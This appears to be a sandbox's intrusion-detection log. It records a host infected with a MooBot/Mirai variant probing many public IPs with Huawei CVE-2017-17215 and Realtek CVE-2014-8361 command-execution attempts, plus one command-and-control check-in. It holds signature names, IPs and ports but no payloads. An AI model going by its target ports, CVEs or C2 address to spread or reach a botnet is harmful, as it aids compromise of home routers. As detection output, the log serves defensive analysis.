ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 190.79.37.161

Timestamp:	07/20/24-23:10:47.662315
SID:	2027339
Source Port:	58370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 115.217.213.84

Timestamp:	07/20/24-23:10:51.926807
SID:	2831300
Source Port:	37928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.156.231

Timestamp:	07/20/24-23:10:41.231186
SID:	2835222
Source Port:	38232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.42.101.14

Timestamp:	07/20/24-23:10:39.479427
SID:	2835222
Source Port:	56706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 173.31.16.145

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	43250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.160.130.37

Timestamp:	07/20/24-23:10:49.457364
SID:	2835222
Source Port:	38524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.91.148.53

Timestamp:	07/20/24-23:10:41.231186
SID:	2835222
Source Port:	49732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.110.119.229

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	43258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.75.226.137

Timestamp:	07/20/24-23:10:52.592459
SID:	2829579
Source Port:	42912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 170.247.115.65

Timestamp:	07/20/24-23:10:53.786733
SID:	2831300
Source Port:	52728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 217.182.185.170

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	44168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 217.115.151.81

Timestamp:	07/20/24-23:10:39.783023
SID:	2025132
Source Port:	40676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.186.251.111

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	38856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.86.125

Timestamp:	07/20/24-23:11:03.352491
SID:	2835222
Source Port:	58310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.182.233.76

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	59342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 131.63.7.210

Timestamp:	07/20/24-23:10:52.004720
SID:	2831300
Source Port:	37340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.200.83.92

Timestamp:	07/20/24-23:10:41.234520
SID:	2829579
Source Port:	51034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.203.184

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	52532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.48.119.194

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	38146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 105.189.130.216

Timestamp:	07/20/24-23:10:51.995612
SID:	2831300
Source Port:	33832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.105.213

Timestamp:	07/20/24-23:10:41.241817
SID:	2829579
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.155.196

Timestamp:	07/20/24-23:10:40.616009
SID:	2829579
Source Port:	59192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.215.164.37

Timestamp:	07/20/24-23:10:52.555606
SID:	2829579
Source Port:	37150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.115.194.74

Timestamp:	07/20/24-23:10:49.420934
SID:	2829579
Source Port:	48808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.51.81.76

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	33178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.66.206.67

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	51722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.234.155

Timestamp:	07/20/24-23:10:41.231287
SID:	2829579
Source Port:	36850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 221.199.80.98

Timestamp:	07/20/24-23:10:51.896724
SID:	2027339
Source Port:	33996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 166.78.169.15

Timestamp:	07/20/24-23:10:39.148191
SID:	2025132
Source Port:	60590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.129.120.216

Timestamp:	07/20/24-23:10:42.248141
SID:	2835222
Source Port:	42288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.128.113.181

Timestamp:	07/20/24-23:10:52.607833
SID:	2829579
Source Port:	33840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 17.184.223.151

Timestamp:	07/20/24-23:10:46.567653
SID:	2027339
Source Port:	46348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.159.51.161

Timestamp:	07/20/24-23:10:43.552962
SID:	2027339
Source Port:	37660
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.181.240

Timestamp:	07/20/24-23:10:40.607363
SID:	2829579
Source Port:	40162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 131.159.98.164

Timestamp:	07/20/24-23:10:39.125097
SID:	2027339
Source Port:	38250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.195.216.129

Timestamp:	07/20/24-23:10:51.955556
SID:	2027339
Source Port:	53488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 133.76.164.119

Timestamp:	07/20/24-23:10:45.518508
SID:	2027339
Source Port:	54380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.186.155

Timestamp:	07/20/24-23:10:41.231287
SID:	2829579
Source Port:	37846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.72.16.230

Timestamp:	07/20/24-23:10:52.047583
SID:	2027339
Source Port:	54842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.62.170.195

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	39702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 197.208.47.186

Timestamp:	07/20/24-23:10:42.632104
SID:	2831300
Source Port:	36816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 202.116.72.105

Timestamp:	07/20/24-23:10:43.864804
SID:	2027339
Source Port:	58226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.214.13.158

Timestamp:	07/20/24-23:11:06.702559
SID:	2829579
Source Port:	59562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 159.7.254.101

Timestamp:	07/20/24-23:10:44.786243
SID:	2027339
Source Port:	32850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.255.77.151

Timestamp:	07/20/24-23:10:41.231287
SID:	2829579
Source Port:	33246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 65.78.88.55

Timestamp:	07/20/24-23:10:51.900424
SID:	2831300
Source Port:	48618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.49.13.245

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	54920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 126.171.98.117

Timestamp:	07/20/24-23:10:42.630809
SID:	2831300
Source Port:	56428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 40.139.206.8

Timestamp:	07/20/24-23:10:51.902171
SID:	2831300
Source Port:	56176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 187.182.235.57

Timestamp:	07/20/24-23:10:39.955060
SID:	2025132
Source Port:	42578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.97.133.247

Timestamp:	07/20/24-23:10:56.073192
SID:	2835222
Source Port:	58210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.178.175.186

Timestamp:	07/20/24-23:10:39.434366
SID:	2829579
Source Port:	55304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.39.11

Timestamp:	07/20/24-23:11:03.352491
SID:	2829579
Source Port:	54974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 198.105.114.189

Timestamp:	07/20/24-23:10:52.010300
SID:	2027339
Source Port:	34338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.225.109.57

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	33180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.18.13.170

Timestamp:	07/20/24-23:10:51.951774
SID:	2027339
Source Port:	48820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 18.208.103.195

Timestamp:	07/20/24-23:10:51.940556
SID:	2831300
Source Port:	39804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.198.249

Timestamp:	07/20/24-23:10:41.228606
SID:	2835222
Source Port:	35728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.143.20

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	38982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.74.94.198

Timestamp:	07/20/24-23:10:52.546429
SID:	2829579
Source Port:	41168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 135.228.190.116

Timestamp:	07/20/24-23:10:51.950747
SID:	2831300
Source Port:	44106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 118.155.226.123

Timestamp:	07/20/24-23:10:43.071291
SID:	2027339
Source Port:	60056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.44.248.238

Timestamp:	07/20/24-23:11:03.394674
SID:	2835222
Source Port:	47010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.4.242.187

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	50002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 163.24.64.153

Timestamp:	07/20/24-23:10:44.624474
SID:	2027339
Source Port:	38818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.90.20.33

Timestamp:	07/20/24-23:10:52.607833
SID:	2829579
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.143.201

Timestamp:	07/20/24-23:10:41.220637
SID:	2835222
Source Port:	34358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 19.2.120.96

Timestamp:	07/20/24-23:10:39.066287
SID:	2025132
Source Port:	44182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 76.125.10.46

Timestamp:	07/20/24-23:10:39.474284
SID:	2829579
Source Port:	44484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.96.51.43

Timestamp:	07/20/24-23:10:59.032609
SID:	2835222
Source Port:	52366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.122.179.200

Timestamp:	07/20/24-23:10:46.836862
SID:	2835222
Source Port:	43856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.88.129.27

Timestamp:	07/20/24-23:11:06.665554
SID:	2835222
Source Port:	56124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.218.65.16

Timestamp:	07/20/24-23:10:39.434366
SID:	2835222
Source Port:	47084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 168.175.171.32

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	49570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 71.203.107.81

Timestamp:	07/20/24-23:10:51.971548
SID:	2831300
Source Port:	45298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 51.195.43.231

Timestamp:	07/20/24-23:10:45.058671
SID:	2027339
Source Port:	49738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.180.240.118

Timestamp:	07/20/24-23:10:42.629188
SID:	2027339
Source Port:	32912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 151.35.74.136

Timestamp:	07/20/24-23:10:49.380109
SID:	2835222
Source Port:	50710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 68.235.64.147

Timestamp:	07/20/24-23:10:51.950529
SID:	2831300
Source Port:	46638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.179.22.106

Timestamp:	07/20/24-23:10:46.778936
SID:	2835222
Source Port:	40236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.6.54.213

Timestamp:	07/20/24-23:11:06.688603
SID:	2829579
Source Port:	49056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.113.186.8

Timestamp:	07/20/24-23:11:03.396635
SID:	2829579
Source Port:	48474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.132.43.96

Timestamp:	07/20/24-23:10:47.861105
SID:	2027339
Source Port:	32866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.70.136.110

Timestamp:	07/20/24-23:10:42.249913
SID:	2835222
Source Port:	41100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 210.2.46.1

Timestamp:	07/20/24-23:10:40.077099
SID:	2027339
Source Port:	48858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:10:36.948534
SID:	2030490
Source Port:	50866
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.199.156.147

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	40466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.3.144

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	33292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 187.70.196.41

Timestamp:	07/20/24-23:10:51.908570
SID:	2027339
Source Port:	46970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.139.30.10

Timestamp:	07/20/24-23:11:03.402557
SID:	2835222
Source Port:	52402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 165.63.199.69

Timestamp:	07/20/24-23:10:59.053037
SID:	2835222
Source Port:	50588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.53.226

Timestamp:	07/20/24-23:11:03.396635
SID:	2835222
Source Port:	35560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.151.129.238

Timestamp:	07/20/24-23:10:59.021280
SID:	2829579
Source Port:	60864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.87.220.235

Timestamp:	07/20/24-23:10:42.619468
SID:	2027339
Source Port:	38990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 2.202.26.203

Timestamp:	07/20/24-23:10:47.823344
SID:	2027339
Source Port:	39140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.55.86.176

Timestamp:	07/20/24-23:10:39.438135
SID:	2829579
Source Port:	40404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 59.219.66.240

Timestamp:	07/20/24-23:11:03.339788
SID:	2835222
Source Port:	50838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.216.97.213

Timestamp:	07/20/24-23:10:51.908570
SID:	2027339
Source Port:	40374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.126.91.237

Timestamp:	07/20/24-23:10:39.798748
SID:	2027339
Source Port:	42266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 17.198.192.63

Timestamp:	07/20/24-23:10:42.621600
SID:	2831300
Source Port:	48118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 136.211.29.117

Timestamp:	07/20/24-23:10:44.523833
SID:	2027339
Source Port:	39432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

